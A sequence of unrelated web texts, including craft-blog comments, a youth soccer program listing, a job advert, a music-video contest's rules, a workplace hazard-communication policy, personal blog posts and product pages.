    And the jars are great, my girlfriend spent a few years living and traveling in her van and got really good at using space, naturally. She was a cook, and used your same jar method to store her spices and other dried goods, it kept them organized and safe and dry.
    Brilliant space saver too!
    Your room looks gorgeous.

  19. Jessica says:

    The room looks great. I think the button jars are a great idea too! Thanks for sharing…I had wondered what your craftroom must look like as you are always producing such interesting stuff!

  20. brandie says:

    such a great space! a place for everything and everything in it’s place. your fabric stash is quite enviable! and it looks like you have some great light in your room. just lovely!

  21. melly says:

    Oh My!!!! You make me want to do that too! I need more storage space!
    I invite you to come see my blog! I have done some wonderful screenprinted squares and think you would love them!

  22. molly says:

    oh my goodness this is inspiring. I just want to come in and look around, mouth open, coveting thoughts swirling in my head.
    I tend to believe your jelly jars will work since they are color coordinated! I have my buttons in a jar, except its like a quart jar or something. That’s not too practical!!

  23. kelly says:

    fantastic! i’ve been doing the same thing over here, although my process seems to be taking months, rather than a weekend! love the shots of your new space – it looks fun and sunshine-y!

  24. coffee-drinker says:

    oo, i am so jealous! i attempted that this weekend, but only made it across one side before being distracted by tiny izone polaroids that had been scattered on the floor & a failed attempt at going through boxes of sketchbooks and projects from college… eesh, anyway, it’s now been over a year since we talked about swapping, i actually made you a little something special way back when, shall i send it to you?!

  25. linda says:

    Great job with the craft room! Have you seen the new issue of Country Living? There’s a whole feature about craft rooms…you should check it out. Keep up the great work 🙂

  26. ellia hill says:

    your spot is just flippin’ awesome!!!! what great organizing ideas!!! now, you make me wanna reorganize mine… (its in dire need of paint first)… but your stash is to drool for!!!! wow!! beautiful! how long did it take to collect all of that, and make too?!

  27. Sooz says:

    Oh wowowow!
    I sooo wanted to sit there and start exploring!
    Love love love the button pots – how very clever!
    What an inspiring work(fun) space! I’m drooling!

  28. stace says:

    Wow. Looks great! I’ve been trying to unclutter but I’ve kind of slowed down to a halt. My clutter is way better than it was, but I’m tired of cleaning. I want to create! Doesn’t it just make you want to jump in and make something? Great job! I want a craft room!

  29. steph says:

    How do you keep Oscar out of your fabric stash?! I’m thinking the stacks are laid up HIGH on a shelf!
    Your craftroom….SOOOOOOOOOO, sew beautiful! You deserve the best space for your handiwork, I love everything you do (delurking to say so!)

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My my My my

Welcome to the WSA Travel Program 2019/20

Interested in volunteering as a team manager?  contact:  Tony Hill (anthony.hill@wsa-travel.org )

WSA Travel Soccer 2019/20 Year Includes:

  • Pre-Season (optional) August 19-23rd, Long Lots fields. This is an additional cost.  REGISTER HERE.

  • Fall Season (Sept-Nov) Two 75 minute practices/week on Wed & Fri;  times are 4pm - 5:15pm or 5:15pm - 6:30pm, with adjustments for early sunset later in the season. Field locations are CMS Front/Back, LLS lower/upper, Wakeman A,B, E and Burr Farms in Westport.
  • 8-9 Sunday games early Sept thru early Nov (between 12pm and 6pm) split between home & away in surrounding CT towns
  • Labor Day Wkend Fairfield FAST Tournament (for U9 & U10 only)
  • Columbus Day Wkend Tournament (for U9 - U15) in Bethel or Wilton.
  • CT Cup competition for U11- U15 (Saturday games; elimination play)
  • Winter Season (Jan-Mar)  6 sessions Indoor Sunday practices at Staples HS or Bedford MS.
  • Westport Indoor/Outdoor Tournament (WIN 2019) March 2019 (usually 3rd wkend) All U9 - U15 Westport travel teams participate.  At Staples HS & Bedford MS. All WSA team entry & coaching fees are paid by the WSA.   A portion of the net proceeds are donated to the Coleman Brothers Foundation.  Each WSA team is expected to sponsor at least one full page team ad (approx $15 - $20 per player, tbd ) in the WIN Tournament booklet and provide volunteers for the tournament.
  • Spring Season (Apr-June) Two 90 minute practices/week on Wed & Fri; times are 4:30p - 6pm or 6pm - 7:30pm on fields CMS Front/Back, LLS lower/upper, Wakeman A, B, E in Westport
  • 8-9 Sunday games (between 12pm and 7pm) split between home & away in surrounding CT towns.
  • Tournament TBD for U9 - U15 : Late April
  • Other
  • Professional Coaches provided by Mickey Kydes Soccer Enterprises
  • Referee Fees Included in tuition (4-5 home games per season)
  • Uniform and Equipment are additional fees, if needed (purchase at ASF Sports & Outdoors, Westport)
  • Team Website where you can view games schedules and contact coach via email

Financial Aid:   Please contact Westport Town Youth Services for approval and complete a qualifying application.

203-341-1183,  Annette D'Augelli - FamilyPrograms@WestportCt.gov

The travel try-out fee is non-refundable.

The travel annual program fees are non-refundable once team placement has been accepted.

Any changes or accommodations will be subject to the discretion of the Board of Directors and will be subject to a $200 administration fee.

Travel Program:   Russ Lobsenz, travel@westportsoccer.org

Travel Registration:  Kathleen Galley registrar@westportsoccer.org

Travel Manager Director:  Tony Hill anthony.hill@wsa-travel.org

Travel Coaching:

U9 – U11: Allan Zuniga at azngsoccer@sbcglobal.net

U12 - U19 Mickey Kydes mkydsoccer@aol.com


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Fashion Identity

This Global brand is recognised everywhere from New York to Bendigo… With styles that are comfortable and funky, they are winning fans all over the world.

With a fantastic market presence, a definite retail base and a loyal customer following this fabulous brand is now seeking an experienced Retail Area Manager to manage and operate their stores across NSW.

We are looking for a candidate that understands the Australian retail industry, knows how to nurture a growing store count and how to implement policies and procedures into a retail business with success.

Your previous experience in a similar role and management of a growing business, combined with your love of footwear and passion for fitness, health and all things active, will ensure your success. We want candidates who are positive, motivated and know how to lead from the front!!

You will be responsible for managing stores across NSW, mentoring and developing your store teams and supporting the National Retail Manager in all aspects of the business.

This role is a senior role and we are looking for a candidate who can offer value across the following areas;

 To be successful we simply need you to tick the following boxes:

This is an exciting and unique opportunity to join a growing Global brand & take the business to the next level by utilising your extensive experience. The role is best suited to a career retailer, who loves fashion, health and fitness, and is looking to make a role their own and contribute to a brands growth.

In return for your dedication, the successful candidate will be offered a competitive salary with performance incentives and benefits.

Pretty exciting, right..???

If this role sounds its exactly what you have been waiting for, please email your resume in WORD FORMAT to or call Danielle at Who in the Zoo on (02) 9211 6457 for more information.

#Job code 1407-22

For a full list of our vacancies, including more exciting opportunities in Sydney, please visit our website –


text:
<Today> MV Contest Pamphlet

What’s your <Today> like? Come join us with your 90-second Music Video to showcase the glimpse of your own Today’s story. You will have the chance to win up to US$1000 plus to broadcast your winning film on the global music media platforms.

To anticipate the Taiwanese singer/songwriter, Li Te-Yun’s latest album, Wildfire Music invites you to produce an unique MV of your own story accompanied by the single in the album, <Today>, an old time favorite piece, which is given whole new definition and will be broadcasted globally in April 2018. The winning films will have the chance to get exposures and promotion worldwide.

Li Te-Yun’s <Today> MV Contest Pamphlet

Registration System ( Click me )

Event Description

  • The Agents and Sponsors: Wild fire Music. 37 Degree Production.
  • Li Te-Yun <Today> “Share Us Your Today!” MV Contest (the “Promotion”) Official Guideline:
    • The MV:
      • The 90-second Studio version of Li Te-Yun’s <Today> provided by Wildfire Music is required for the audio track of your music video. Once completing the registration submission, you will receive the 90-second studio version of the song for free by email to mix into your film.
      • Your MV will be 90 seconds in length.
      • Only AVI, MOV and MP4 formats with resolution Full HD 1920*1080 dpi and up are accepted. If you are shooting the film with a cell phone, please hold it horizontally.
      • The texts “ Li Te-Yun” and “Today” are required to be noted in the MV at the running time of 00:00-00:15 and 01:15-01:30. The ways of using fonts, sizes, and positioning of the texts are to be your choice.
      • Other than sex and violent contents, films can belong to any subject, genre, and style. It’s all up to your creativities.
    • Submission Deadline: Complete and submit the online registration form, upload your film on YouTube and provide Wildfire Music with the URL by Sunday, April 15th, 2018 at 15:59 Greenwich Mean Time (“GMT”).
    • Eligibility: Regardless of your gender, age, race, or nationality, each creative individual around the world is welcomed to participate as long as one feels cool about the provided song. POTENTIAL CONTEST WINNERS ARE SUBJECT TO VERIFICATION BY THE AGENT AND SPONSOR WHOSE DECISIONS ARE FINAL AND BINDING IN ALL MATTERS RELATED TO THE PROMOTION.
    • Entry:
      • Submit online registration form @ https://goo.gl/forms/bg4xHluIXpcbaZDn1
      • The title of the MV will be “(your name)’s Today”, and “#TodayMyMV” must both appear in the description and footage of the film.
      • Upload your finished film on YouTube and send the URL link to focuswade@gmail.com  by deadline, April 15th, and a confirmation will be sent to you within 48 hours.
  • Winners Selection: Upon the deadline, Li Te-Yun, the Agents and Sponsors will select three (3) Entries for the prizes described below based on the level of
    • 35% creativity and originality
    • 35% artistic conception
    • 30% you knock the judges’ socks off – you lure their hearts!
  • Prizes:
    • All Entries will be reviewed on Monday April 16, 2018. Three finalists will be selected and the result will be posted publicly on Wildfire Music Facebook page within 3 days.
    • First place winner: US$1000; second place: US$500; third place: US$300
    • The winning films will be promoted and publicized on Wildfire Music YouTube channel, Wildfire Music Youku channel, Wildfire Music Facebook page, and Wildfire Music Vimeo channel.
    • Prize is non-transferable and no substitution will be made except as provided herein at the Sponsor’s sole discretion. Sponsor reserves the right to substitute any listed Prize for one of equal or greater value for any reason.
    • Winners and Runners-up are responsible for all taxes and fees associated with Prize receipt and/or use.
  • Terms and Conditions: By entering, each participant agrees to:
    • submit authentic and genuine work. One will not neglect and violate any of intellectual property or privacy to any third party or one will be disqualified from the contest.
    • authorize that the Agents and Sponsors’ use of the participant’s MV for publicity and promotional purposes in any media worldwide, without further payment or consideration.
    • keep a copy for one’s own record and to submit the original work to the Promotion.
    • only use the provided Li Te-Yun <Today> 90-second studio version for the Promotion participation purpose.
    • have the right, authority, and capacity to enter into this agreement, and to agree to abide and be bound the terms and conditions herein.
    • that the Agents and Sponsors reserve the rights to cancel, suspend and/or modify the Promotion, or any part of it.
  • Contact: For all inquiries and questions, please send email to focuswade@gmail.com, mi.h.hsuan88@gmail.com, or visit Wildfire Music Facebook page at https://www.facebook.com/wildfiremusic.taiwan/


text:
Wind Communications Continues Growth with Addition of Laurence Bachellerie in London

Wind Communications is adding another strong AR professional to our roster, the first team member outside of the US. Analysts live around the world, and for the most part, their coverage is global. Market reports and recommendations are based on the companies' ability to serve their customers where their customers are, regardless of the location of their headquarters. It makes sense then, if you are an analyst relations agency, to have resources that allow for seamless international support, particularly if you have the opportunity to work with a professional like Laurence Bachellerie.

We have known Laurence since we all worked together at a fast-rising technology PR firm based in New York in the late 90s. Like Patty and Beth, Laurence then moved on to become a key member of the Capgemini analyst relations team as the millennium dawned. Laurence has now been based in London for many years, and has been busy helping clients in technology and sustainability meet a variety of pan-European marketing goals.

Laurence brings great experience and capabilities to the firm. She has a solid foundation in analyst relations, a broad understanding of marketing communications, and understands how AR can help feed PR, content marketing, business development and more. She is multilingual, including her native French, adopted English, Italian and German. She gives Wind Communications a geographic diversity for those attractive, but to date impractical, UK events and time zone challenges. In addition, she has done it all herself for years, so she gets our do-everything culture. We are expanding our footprint to include a third key technology market (New England, Austin, and now London), and look forward to Laurence’s contribution to the organization.


text:
23 December, 2009

Merry Christmas!

Hi Everybody, Well, we finally got our Christmas card for this year done! From the time the idea occurred, then the on and off crummy (as in rainy) weather, and both of us coming down with colds at the same time, it really looked doubtful that we were going to kick out a card in time for this year's Christmas.
Our Christmas Card 2009
Here we are on the 23rd, and it's a glorious morning in Corozal. As soon as I got back from walking the girls (first time in two or three days we've been able to go for walkies) I grabbed my stuff and headed out to the pool to shoot the card. I think it turned out pretty good. I think I'm going to title it "We know where Santa Is!"

We are having a nice Christmas this year - going to dinner over at friends before and after Christmas, so no dishes to wash! We bought some presents for some local kids we know, and Dianna bought us a new chess set (not that I'm a great player... Dianna has beaten me each time we've played). I just love the torture.

Although our guesthouse is still on hold, we are making progress with the canal bulkhead, holding our property back from collapsing into the canal. As soon as that's done, we'll move forward with the guesthouse, so it shouldn't be too far behind schedule.

Well, other than that, we're reasonably healthy and happy. Life is good. All thanks to the Great Architect of the Universe for that. We hope your lives and activities are at least as much fun and as fulfilling as ours. Have a great holiday season.

With Love,
Dave and Dianna

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text:
Administrative Services

To access MSDS Online Click Here

Hazard Communication/Right To Know/MSDS

Western Illinois University will provide information to our employee's to comply with the Illinois Toxic Substance Disclosure to Employee's Act (P. A. 83-240) and Occupational Safety and Health Administration's Hazard Communication Standard (39 CFR 1910, 1200), often called the Illinois Right to Know Law. The following program has been developed by Human Resources and Facilities Management to provide information to address the required elements of the law.

Written Hazard Communication Program

  1. Signage
  2. Material Safety Data Sheets Access
  3. Labeling
  4. Training of Employees

Facilities Management employees will be given copies of this program at initial employment and whenever changes and additions are made to their work place.

Western Illinois University is required to post signs which inform employees of their rights under the Right to Know Act. The RTK signs which summarize your rights under the law have been posted in all University buildings on the information bulletin boards.

Material Safety Data Sheets (MSDS)

The Right to Know Act requires the University to keep on file a MSDS for each toxic substance in the work place. A toxic substance is any material which can cause either long-term or short-term health effect. Under the RTK law any product which contains at least 1% of a chemical on the Illinois Department of Labor Toxic Substance list is considered to be toxic. If the chemical ingredients is a carcinogen (it can cause cancer), it only has to be .1% of the mixture for the product to be classified as a toxic substance. The MSDS lists all hazardous ingredients and describes the physical properties, safe handling procedures and health hazards of the product.
The MSDS will provide information on specific products and will be broken into the following eight basic areas:

  1. Identity of the Product - the name, address and emergency phone number of the manufacturer.
  2. Ingredients - Common name of the chemical and other identification information.
  3. Physical Characteristics - This section includes information of the physical description of the product i.e. Melton's point, specific gravity, appearance and odor.
  4. Fire and Explosion Hazard Data - Information concerning flash point, LEL (Lower Explosion Limit), UEL (Upper Explosion Limit).
  5. Reactivity - Information on stability and conditions to avoid are found in this section.
  6. Health Hazards - This section will contain information on health risks if the product is inhaled by breathing, ingested through mouth, or absorbed through the skin. If the chemical will cause cancer or other health risks. Signs and symptoms of chemical exposure will be listed in this section.
  7. Safe Handling Precautions - This section will provide safe handling procedures, safe methods of storage, use and disposal.
  8. Control Measures - This section describes the protective equipment (PPE) while handling the chemical. Other procedures that are listed on many MSDS are ventilation and personal hygiene practices.

You, your representative, or your physician may request in writing, a MSDS for any toxic substance in your work area. As your employer, the University has 10 days to give the data sheet to the requesting party or give proof that a data sheet has been requested from the manufacturer of the product.
If your request is refused or ignored, after the 10 days waiting period, you may refuse to work with the substance and you should contact the Illinois Department of Labor for advice or to file a complaint. MSDS's will be made accessible to employees for at least 10 years after the product is no longer used, produced or stored at the work place.
You may not be, and will not be, discharged, disciplined, or discriminated against for exercising your rights under the law. If you believe your rights are denied, you or your representative may file a complaint with the Department of Labor. If you feel that a chemical which is not a toxic chemical should be so designated, you may petition the Department of Labor to add the chemical to the list. The Department of Labor will consider your petition at a public hearing held annually.
The Facilities Management MSDS master list is maintained at the Environmental Health and Safety Office. Requests for MSDS's should be made to your supervisor, Curt Samson or Don Mutch at the Facilities Management Physical Plant Office. Every effort will be made to obtain MSDS from vendors for products not found in the master file.

Pipes, vats and other fixed containers of toxic substances should have signs, operating instructions or other such written materials available in the work area. Be sure the written warnings clearly identify the fixed containers to which they apply. -Western Illinois University is required to label toxic substances in the work place with the chemical name or the product name and a hazard warning. Most existing labels are sufficient and re-labeling is seldom necessary. The hazard warning can be in words, pictures, symbols or a combination of the three. The warning will usually be a statement of caution, such as flammability, corrosiveness, or inhalation hazard, which describes the potential hazard. Other hazards may exist, so you should read the product MSDS for more specific information.
A product which is mixed with another product, i.e. paint, or repackaged may need a different label. Any products which are transferred from a larger container to a smaller one must be labeled unless the container is 10 gallons or less and the substance will be used up during your work shift.
This secondary container must have the same label information identifying the chemical as the primary container. A proper label must contain the following elements:

  1. Labels must be in English.
  2. Labels must be legible and prominently displayed.
  3. Labels must provide identity of the chemical.
  4. Labels must give hazard warning such as flammability, toxic, corrosive, etc.
  5. Label must provide the name and address of the manufacturers.

The responsibility for proper labeling of secondary container falls to the employee that performs the transfer.

The typical training program may provide the following: - Initial training will be given during the new employee orientation. Follow up training will be given on an annual basis. The University will conduct annual training sessions. New employees will be trained prior to beginning their work assignments by the department supervisor(s).

  1. Completed Written Hazard Communication Program.
  2. The department's location and storage of chemicals used by the department.
  3. Departmental procedure for detection and response to spilled chemicals.
  4. Department's MSDS sheets location and availability.
  5. Description of department process and operation that may use chemical.

  • Action Level - A quantitative limit of a chemical, biological, or radiological agent at which actions are taken to prevent or reduce exposure or contact. Usually set at one-half of the Permissible Exposure Limit.
  • Acute - Severe, often dangerous conditions in which relatively rapid changes occur in a short period of time.
  • Acute Exposure - An intense exposure over a relatively short period of time.
  • Boiling Point - The temperature at which the vapor pressure of a liquid equals atmospheric pressure or a liquid changes to a vapor. The boiling point is usually expressed in degrees Fahrenheit. If a flammable material has a low boiling point it indicates a special fire hazard.
  • "C" or Ceiling - A description usually seen in connection with a published exposure limit. It refers to the concentration that should not be exceeded, even for an instant. It may be written as TLV-C or Threshold Limit Value-Ceiling
  • Chemical - As broadly applied to the chemical industry, an element or a compound produced by chemical reactions on a large scale for either direct industrial or consumer use or for reaction with other chemicals.
  • Chemical Reaction - A change in the arrangement of atoms or molecules to yield substances of different composition and properties.
  • Chronic - Persistent, prolonged or repeated conditions or an illness such as black lung disease which occurs over a long period of exposure.
  • Chronic Exposure - A prolonged exposure occurring over a period of days, weeks or years.
  • Combustible - According to the DOT and NFPA, combustible liquids are those having a flash point at or above 100°F (37.8°C), or liquids that will burn. They do not ignite as easily as flammable liquids. However, combustible liquids can be ignited under certain circumstances, and must be handled with caution. Substances, such as wood, paper, etc., are termed "Ordinary Combustibles".
  • Corrosive - A substance that according to the DOT, causes visible destruction or permanent changes in human skin tissue at the site of contact or is highly corrosive to steel.
  • Degree of Hazard - A relative measure of how much harm a substance can do.
  • Dose - An amount of a substance given or exposed to over time.
  • Dyspnea - Shortness of breath, difficult or labored breathing.
  • First Responder - The first trained personnel to arrive on the scene of a hazardous material incident. Usually officials from local emergency services, fire-fighters, and police.
  • Flammable Liquid - According to the DOT and NFPA a flammable liquid is one that has a flash point below 100°F (see Flash Point).
  • Hazard - A circumstance or condition that can do harm. Hazards are categorized into four groups: Biological, chemical, radiation, and physical.
  • Hazardous Material - Any substance or compound that has the capability of producing adverse effects on the health and safety of human.
  • Hazardous Sample - Samples that are considered to contain high concentrations of contaminants.
  • Hazardous Substance - (1) A material and its mixtures or solutions that is identified by the "E" in Column 1 of the Hazardous Materials Table, CFR 49, Section 172.1 when offered for transportation in one package, or in one transport vehicle if not packaged, and when the quantity of the material therein equals or exceeds the reportable quantity. (2) Any substance designated pursuant to Section 311(b)(2), (a) of the Federal Water Pollution Control Act, (b) any element, compound, mixture, solution, or substance designated pursuant to Section 102 or this Act, (c) any hazardous waste having the characteristics identified under or listed pursuant to Section 3001 of the Solid Waste Hazardous Disposal Act (but not including any waste under the Solid Waste Disposal Act which has been suspended by Act of Congress), (d) any toxic pollutant listed under Section 307(a) of the Federal Water Pollution Control Act, (e) any hazardous air pollutant listed under Section 112 of the Clean Air Act, (f) any imminently hazardous chemical substance or mixture with respect to which the Administrator has taken action pursuant to Section 7 of the Toxic Substance Control Act. The term does not include petroleum, including crude oil or any fraction thereof which is not otherwise specifically listed or designated as a hazardous substance under subparagraphs (a) through (f) of this definition, and the term does not include natural gas, natural gas liquids, liquified natural gas, or synthetic gas usable for fuel (of mixtures of natural gas and such as synthetic gas).
  • Ingestion - Taking a substance into the body through the mouth as food, drink, medicine, or unknowingly as on contaminated hands or cigarettes, etc.
  • Inhalation - The breathing in of an airborne substance that may be in the form of gases, fumes, mists, vapors, dusts, or aerosols.
  • Irritant - A substance that produces an irritating effect when it contacts skin, eyes, nose, or respiratory system.
  • Lethal Concentration - The concentration of an air contaminant that will kill all of the test animals in a group within the first 30 days following exposure.
  • Lethal Dose 50 (LD50) - The dose of a substance or chemical that will kill 50 percent of the test animals in a group within the first 30 days following exposure.
  • Limited Quantity - With the exception of Poison E materials, the minimum amount of a hazardous material for which there is a specific labeling and packaging.
  • Odor Threshold - The minimum concentration of a substance at which a majority of test subjects can detect the substance's characteristic odor.
  • Oral - Having to do with the mouth.
  • Oxidation - The process of combining oxygen with some other substance or a chemical change in which an atom loses electrons.
  • Oxidizer - Is a substance that gives up oxygen easily to stimulate combustion of organic material.
  • Permissible Exposure Limit (PEL) - An exposure limit that is published and enforced by OSHA as a legal standard. PEL may be either a time-weighted average (TWA) exposure limit (8 hour), a 15-minute short term exposure limit (STEL), or a ceiling (C). The PEL's are found in Tables Z-1, Z-2, and Z-3 of OSHA regulations 1910.1000 (see also TLV).
  • Personal Protective Equipment - Any device or clothing worn by the worker to protect against hazards in the environment. Examples are respirators, gloves, and chemical splash goggles.
  • Polymerization - A substance's susceptibility to undergoing a chemical reaction or change that may result in dangerous side effects, such as explosion, burning, and corrosive or toxic emissions. The conditions that cause the reaction, such as heat, other changes and dropping will usually be specified as "Conditions to Avoid" when a chemical's reactivity is discussed on a MSDS.
  • Respirator - A device that is designed to protect the wearer from inhaling harmful contaminants.
  • Respiratory Hazard - A particular concentration of an airborne contaminant that enters the body by way of the respiratory system or by being breathed into the lungs and results in some body function.
  • Response Activities - Activities taken to recognize, evaluate, and control an incident.
  • Safety - Freedom from man, equipment, material, or environmental actions that result in injury or illness.
  • Short Term Exposure Limit - Represented as STEL or TLV-STEL, this is the maximum concentration to which workers can be exposed for a short period of time (usually 15 minutes) for only four times throughout the day with at least one hour between exposures. Also the daily TLV-TWA must not be exceeded.
  • Skin - This designation sometimes appears alongside a TLV or PEL. It refers to the possibility of absorption of the particular chemical through the skin and eyes. Thus, protection of large surface areas of skin should be considered to prevent skin absorption so that the TLV is not exceeded or counteracted.
  • Synonym - Another name by which the same chemical may be known.
  • Threshold Limit Value (TLV) - Airborne concentrations of substances devised by the ACGIH that represent conditions under which it is believed that nearly all workers may be exposed day after day with no adverse effect, TLV's are advisory exposure guidelines, not legal standards, that are based on evidence from industrial experience, animal studies, or human studies when they exist. There are three different types of TLV's. They are: Time Weighted Average (FLV-TWA), Short Term Exposure Limit (TLV-STEL), and Ceiling (TLV-C), (see also PEL).
  • Time Weighted Average - The average time, over a given work period (e.g. 8-hour workday), of a persons exposure (TWA) to a chemical or agent. The average is determined by sampling for the contaminant throughout the time period. Represented as TLV-TWA.
  • Toxicity - The potential of a substance to exert a harmful effect on humans or animals and a description of the effect and the conditions or concentration under which the effect takes place.
  • Trade Name - The commercial name or trademark by which a chemical is known. One chemical may have a variety of trade names depending on the manufacturers or distributors involved.
  • Upper Explosive Limit - Also known as Upper Flammable Limit, is the highest concentration (expressed in percent of vapor or gas in the air by volume) of a substance that will burn or explode when an ignition source is present. Theoretically above this limit, the mixture is said to be too "RICH" to support combustion. The difference between the LEL and UEL constitutes the flammable range or explosive range of a substance. That is, if the LEL is 1 ppm and the UEL is 5 ppm, then the explosive range of the chemical is from 1 to 5 ppm. (See also LEL.)
  • Vapor - The gaseous form of substances which are normally in liquid or solid state (at room temperature and pressure). Vapors evaporate into the air from liquid such as solvents. Solvents with low boiling points will evaporate readily.


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gates gates gates

Ha ha, just kidding.

Anonymous said...

I have been reading your very intelligent blogging and was wondering...since you are a New Yorker and were there on September 11...what were your feelings on that day?
Steve Lee

L-girl said...

Steve, wow, what a question. I wrote something about what we did on September 12. Maybe I will post it here.

My feelings that day... shock, fear, pain. Fear of the future, of where this was going, if it was over. Incredulity, disbelief, a feeling of surreality.

When I remember that day, I see myself sitting in front of the television with a box of tissues in front of me, unable to stop crying. Glued to the TV, watching our 24-hour NYC news channel (NY1), just crying and crying and crying.

Everyone was calling each other to make sure we were all there. Allan (my partner) used to work in the World Trade Center, and several relatives, including my mother, forgot that he no longer did, so we got a few panicked calls, too.

A few hours into the day, I knew I had to go downtown, to be as close to the site (not yet called Ground Zero) as I could. Watching it on television, it could have been happening anywhere. I had to see for myself what was there and what wasn't.

Thank you so much for the compliment about my blogging. Maybe tomorrow I'll post my Sept 12 piece.

RobfromAlberta said...

I remember that day like it was yesterday. Nobody did any work all day, we were all glued to TVs, radios and computers just trying to make sense of it all. I was shocked and saddened, but more than anything else, I was angry. If I was a younger man, I would have enlisted in the army on that day.

We were all New Yorkers on that day.

L-girl said...

I don't know, I am a New Yorker, and I wasn't angry. The army, sure, but to fight whom?

New Yorkers in general were not angry. More shocked and very, very sad.

RobfromAlberta said...

I wasn't very rational on that day. I wanted to make somebody pay. And you're right, I had no idea who exactly. I'm not a very angry person and I'm never violent, but when those planes crashed into the WTC, I was a different person for awhile.

L-girl said...

I understand completely. It was a day that suspended all rational thought. It's good that you felt that way, really - because your feelings came from empathy and compassion.

Part of our current problem is that people are still playing on that irrational anger and emotion.


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Archive for January, 2013

You Can Do It On Your Terms

January 30th, 2013

"live your dreams"You don’t have to follow the rules. I hope you know that?

This means, perhaps, stepping away from the obvious ‘have-tos’ of a supposedly successful life.

Like having a ‘great job’ with a great title and great income.…

Courage To Live Your Dreams

January 28th, 2013

"courage to live dreams"Most people simply don’t have what it takes to create their dream life. It’s incredibly sad to think about, but the truth is that most people don’t even have what it takes to start trying to create their dream life …

Living My Dreams in 2013

January 23rd, 2013

It’s been a while since I’ve blogged. I’ve been consumed with 2 things and have let a lot of things slide in the meanwhile. Firstly. And importantly. I’ve been recapping on 2012 and planning in a big, dreamy and highly …

Reasons For Self-Sabotage

January 14th, 2013

"binge eating"Let’s face it. For most of us gals out there, the reason we often find ourselves *this far* from achieving our dream body is not because we don’t know how to eat well or how to move our bodies. I …


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Handmade Solid Wood Table Lamps

Acacia Burr 11"

A very unusual and interesting piece of work, it is difficult to show by photograph quite how beautiful this Acacia Burr Table lamp is. The lovely golden colour of Acacia, with its distinctive curving grain, is enhanced by the natural features of the Burr and a large pice of natural bark.

This is 14 inches total height with lamp holder, 11ins to top of wood. 6" wide x 4" deep. 36cm (27cm) high, 15cm width and 10cm depth. Sold without lamp shade.

Sold Out


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We sell knitting and crochet yarn from the Lana Grosa, Katia, Adriafil, Lang Yarns and DMC brand.
You will find all kinds of quality: from cotton and merino to mohair, alpaca and the luxury cashmere, as well as all the necessities to finish your project.

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Thursday, March 23, 2017

Distract Me!

Spiritual warfare!  That is really the only way to classify all of the "activities" in this life that hinder me/us from spending time with God.  Even "good" things can be bad if they are preventing me from that private time with Father God.  And in this day and age, there is plenty of "good" that is attempting to do that!

"Distract this man from that which would
distract this man from You...
Turn away mine eyes from what
is lustful in Your view...
Not again to be enticed
by Satan and his ways...
See that I adhere to this, Lord,
all throughout my days!
Revive me, rather, in Your ways,
establish deep Your Word...
make me to know those things more lovely
than I've ever heard!
Devoted unto You am I!
You, alone, I fear!
Thus, only unto pleasing YOU
let this man persevere!
Oh Lord, You've taken my reproach;
Your judgments, they are good!
For Your judgments do I long,
not those of stone or wood!
Revive me in Your righteousness,
restore me by Your grace
in my daily quest, oh Lord,
to see Your blessed face!"

I just merely outlined what The Psalmist wrote in 119:37-40.
The enemy is so crafty.  He knows that if he can get us busy enough, even with doing "good," he can keep us from fellowship with Jesus Christ.  DON'T LET HIM!!  Always seek God's balance in your day, and you will SOMEHOW accomplish more than "just filling it with good."

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students Tag

  I’m a huge fan of It’s Always Sunny in Philadelphia. In my opinion, it’s the funniest show on television, and there ain’t a close second. Watching the escapades of a group of sociopaths who run a bar – a motley crew known as “the Gang” – provides a dark sort of comedy that stands out from most laugh-tracked garbage that cable channels try to pass off as humor. It’s no coincidence that in watching the last few weeks of turmoil unfold at the University of Missouri and Yale University, I’m remindedRead More

Posted On October 5, 2015By Jackie RodriguezIn Advice For Women, Girlzone, Lifestyle

5 Things Not to Do at College

From your resident college student, here are five things you absolutely should not do while attending college. I mean, you can do them, but people will not like you and will probably write mean things about you on Yik Yak. 1. Introduce yourself to the professor in a 300-student lecture I know it’s like the new “thing” – introducing yourself to the professor increases the chances of them giving you extra credit or letting an absence slip by – but please, for the love of all that is good and holy, doRead More

Posted On May 8, 2014By Ascher RobbinsIn Advice For Men, Advice For Women, Manzone

On Graduating from College

This one goes out to the Class of 2014. Whether you’re graduating this weekend, next weekend, or in June (yeah, I went to UCSB, I know all too well the pains of the quarter system and its late graduation dates), whether you attended a private school with 2,000 people or a public school with 20,000, whether you majored in dance or biochemistry, this article is for you.   I’m not exactly a perpetual optimist. A few weeks ago, I wrote a piece about some of the harsh realities of post-gradRead More


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Gene/CloneSpeciesStageAnatomy ItemExperimenter
hoxb3xenopus head vasculature

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Experiment details for hoxb3

Patient Lab (Retired)

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  hoxb3 (homeobox B3) gene expression in Xenopus laevis embryo, assayed via in situ hybridization, NF stage 39, lateral view, anterior left, dorsal up.
Xenbase: The Xenopus laevis and X. tropicalis resource.
Version: 4.11.2

Major funding for Xenbase is provided by grant P41 HD064556


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RC Helicopters, RC Cars, RC Airplanes, RC Trucks, RC Boats & RC Toys
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Play Helicopter Games in Averish if you are a current customer.

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For smooth, refined aerobatics, nothing beats an electric RC helicopter. With brushless motors providing as much power and torque as their nitro counterparts, electric RC helicopters are perfectly suited for pilots of any expertise level.  With these technological advancements, electrics offer more stability and forgiveness, and are encouraging RCs to play with for the beginning pilot. Practice your aerial rolls and tumbles in just about any space – unlike nitros, you won’t have to worry about smoke spewing out or gas leaking all over your floor, and you’ll be able to enjoy the rigors and wonders of 3D acrobatics as you relax in your bedroom, or brave the winds of your local park. The unique aerial dynamics of the electric RC helicopter also provide for a stimulating challenge for even the most skilled pilot. Even for someone who has never flown, we’ve got something for you, too! 11312 Orchard St. Unit A. El Monte, CA 91731 USA  |  888-XENONRC (888-936-6672) M-F 10AM to 5PM PST© 2012
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Rock Climbing in Nameless Tower (Trango Tower), Karakoram Park, Pakistan

20757 ft/6327 m
The Trango Towers is a group of tall, large and dramatic granite spikes, situated in the north side of the Baltoro Galcier, in Baltistan, northern Pakistan. The rocks are a part of the Baltoro Muztagh which is a sub range of the Karakoram. The group offers some of the largest cliffs and some of the most challenging rock climbing opportunities in the world.

Around the world you will find some very impressive and extremely difficult rock towers, being considered as the hardest ones to climb within a competition. The Great Trango Towers are one of them. They are very popular and have been voted as the toughest one for climbing. The Nameless Tower is one of the Great Trango Towers.

The Trango Tower, also known with this name, was first attempted in 1976. Today, the level of difficulty for climbing this huge rock is VIII-, A2, 1000 m/3280 ft high and is called Eternal Flame. The ascent of this route, patterned in alpine style, was first climbed by a Slovenian in 2004.

